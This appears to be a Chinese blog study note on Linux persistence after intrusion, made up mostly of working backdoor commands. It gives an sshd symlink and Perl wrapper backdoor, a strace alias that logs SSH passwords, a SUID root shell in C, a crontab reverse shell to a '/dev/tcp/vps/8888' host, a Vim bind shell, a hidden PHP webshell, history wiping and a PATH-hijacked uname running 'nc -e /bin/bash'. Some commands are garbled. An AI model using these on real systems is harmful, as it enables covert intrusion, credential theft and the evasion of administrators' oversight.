Linux权限维持|内网渗透学习(十二)
都是一些偷袭留后门的小技巧, 有哪些内容的话看目录吧
SSH 后门
软链接sshd
输入任意密码就可以root用户权限登陆﹐如果root用户被禁止登陆时﹐可以利用其他存在的用户身份登陆
代码语言:javascript复制#!bash
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
连接命令
代码语言:javascript复制ssh root@192.168.92.128 -p 12345
ssh server wrapper
代码语言:javascript复制#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh”if(getpeername(STDIN)=~/^..LF/);' >> sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u x sshd
使用方法:
代码语言:javascript复制socat STDIO TCP4:target_ip:22,sourceport=19526
init首先后动的是/usr/sbin/sshd, 脚本执行到getpeername这里的时候, 正则匹配会失败, 于是执行下一句。启动/usr/bin/sshd, 这是原始sshd, 原始的sshd监听端口建立了tcp连接后, 会fork一个子进程处理具体工作。这个子进程没有什么检验, 而是直接执行系统默认的位置的/usr/sbin/sshd, 这样子控制权又回到脚本了, 此时子进程标准输入输出已被重定向到套接字getpeername
能真的获取到客户端的TCP源端口, 如果是19526就执行sh给个shell
其中x00x00LF是19526的大端形式
, 便于传输和处理, 如果想修改源端口, 可以用python的struct标准库实现
生成一个公钥
代码语言:javascript复制ssh-keygen -t rsa
把公钥id_rsa.pub发送到目标上
/root/.ssh/authorized _keys
~/.ssh 默认权限为700
~.ssh/authorized _keys 默认权限为600
另外可以通过touch
修改时间戳, 让新上传的文件时间戳改为旧文件时间戳
service ssh restart
ssh keylogger(alias设置操作别名)
编辑当前用户下的.bashrc
文件(~/.bashrc
), 在配置文件末尾添加:
alias ssh='strace -o /tmp/sshpwd-`date %d%h%m%s`log -e read,write,connect -s2048 ssh'
加载配置文件让插入的别名配置生效:
代码语言:javascript复制source ~/.bashrc
-o 指定输出文件
-e 指定记录的内容
-s 指定记录数据大小
ssh 是最终要执行的的命令
通过上面修改之后当进行ssh链接或者su切换用户, 在输入密码的时候, 不论正确错误都会被记录到log文件中, 从而获取管理员的更多账号密码
ssh隐身登录
查看登录状态和记录
-
w
记录着当前打开的连接的状态 -
who
记录着当前有哪些用户登录在线了的 - last 记录着登录记录
ssh -T root@target_ip /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T root@target_ip
通过上面两种命令方式登录是不会被记录的从而实现隐身登录
Linux隐藏技术
简单隐藏
就是直接将文件名设为.
开头
隐藏权限(文件加锁)
chattr命令可以给文件枷锁, 防止被删除
代码语言:javascript复制chattr i ./shell #加锁操作
chattr -i ./shell #解锁操作
在枷锁之后通过ls -al
查看是和之前没有任何区别的, 但是既不能再对文件修改也不能对文件进行删除, 只能读取文件(即使是root用户也一样不行)
隐藏历史记录
拿到shell之后, 开启无痕模式, 进制命令历史记录功能
代码语言:javascript复制set o history #打开无痕模式
set -o history #关闭无痕模式
删除历史命令
删除100行以后的操作命令
代码语言:javascript复制sed -i "100,$d" ~/.bash_history
Setuid & setgid
- setuid: 设置使文件在执行阶段具有文件所有者的权限典型的文件是/usr/bin/passwd, 如果一般用户执行该文件, 则在执行过程中该文件可以获得root权限, 从而可以更改用户的密码.
- setgid:
该权限只对目录有效, 目录被设置该位后,
任何用户
在此目录下创建的文件
都具有和该目录所属的组
相同的组
#include <unistd.h>
void main(int argc, char *argv[]){
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh",NULL);
编译文件并给编译得到的二进制文件添加SUID
权限
gcc back.c -o back
cp back /bin/
chmod u s /bin/back
Alias 后门
通过alias来指定执行特定的命令时候静默运行其他程序·从而达到后动后门·记录键值等作用· 修改ssh命令·利用strace·使其具有记录ssh对read,write,connect调用的功能·
代码语言:javascript复制alias ssh='strace -o /tmp/sshpwd-`date %d%h%m%s`log -e read,write,connect -s2048 ssh'
利用守护进程回弹shell
代码语言:javascript复制alias cat= '/root/.shell && cat'
Crontab 后门
每分钟反弹一次shell给指定ip的8888端口
代码语言:javascript复制(crontab -l;echo "*/1**** exec 9<> /dev/tcp/vps/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
开启定时任务服务
代码语言:javascript复制service crond start
编辑计划任务
代码语言:javascript复制crontab -e -u 用户名
查看计划任务
代码语言:javascript复制crontab -l -u 用户名
删除计划任务
代码语言:javascript复制crontab -r -u 用户名
相关文件:
/var/spool/cron/用户名
用户自定义的设置/var/log/cron
cron服务的日志文件/etc/crontab
cron服务配置文件
vim 后门
前提条件:
- VIM安装了
python扩展
, 默认安装的话都有python扩展 - 脚本可以放到python的扩展目录
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">/dev/null 2>&1&)&& sleep 2&&rm -f dir.py
后门开启之后会开启一个正向shell, 我们只要nc连接端口即可获得shell
开启一个体验更好的虚拟终端:
代码语言:javascript复制python -c "import pty;pty.spawn('/bin/bash')"
PROMPT_COMMAND 后门
Linux Bash Shell提供了一个环境变量PROMPT_COMMAND
, 这个变量是在BASH出现提示符前执行的命令
- 可以执行一个反弹shell操作
- 可以执行用户输入记录
/r 后门
代码语言:javascript复制echo -e "<?=`$_POST[0]`;?>r<?='hello';?>" > 1.php
通过cat命令输出文件内容的话如果文件内容中俄有/r
就有可能会显示不全
根据$PATH
环境变量的解析顺序, 劫持uname程序
而PATH
环境变量为
/root/.nvm/versions/node/v16.13.0/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
也就是说当前环境寻找uname的顺序如下:
- /root/.nvm/versions/node/v16.13.0/bin
- /usr/local/sbin
- /usr/local/bin
- /usr/sbin
- /usr/bin
- /sbin
- /bin
- /snap/bin
可以看到在第五步之前的四个目录都是没有索索结果的, 只要我们放一个具有可执行权限的uname
文件到前面四个目录的任意一个, 执行uname
命令都会先解析我们的uname
文件从而达到劫持的效果
如果将uname
内容改为如下内容并降文件放到/usr/local/sbin
, /usr/local/bin
, /usr/sbin
任意一个目录下就可以劫持uname反弹shell了
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null &/bin/uname $@
其他可执行程序也可以尝试通过这种方式进行劫持, 是否成功取决于原可执行文件所在目录之前的其他shell
目录是否有我们可写入的
或者除了劫持之外直接将原本的程序给扬了替换成我们自己的恶意程序也不是不行
2022_10_02 05:15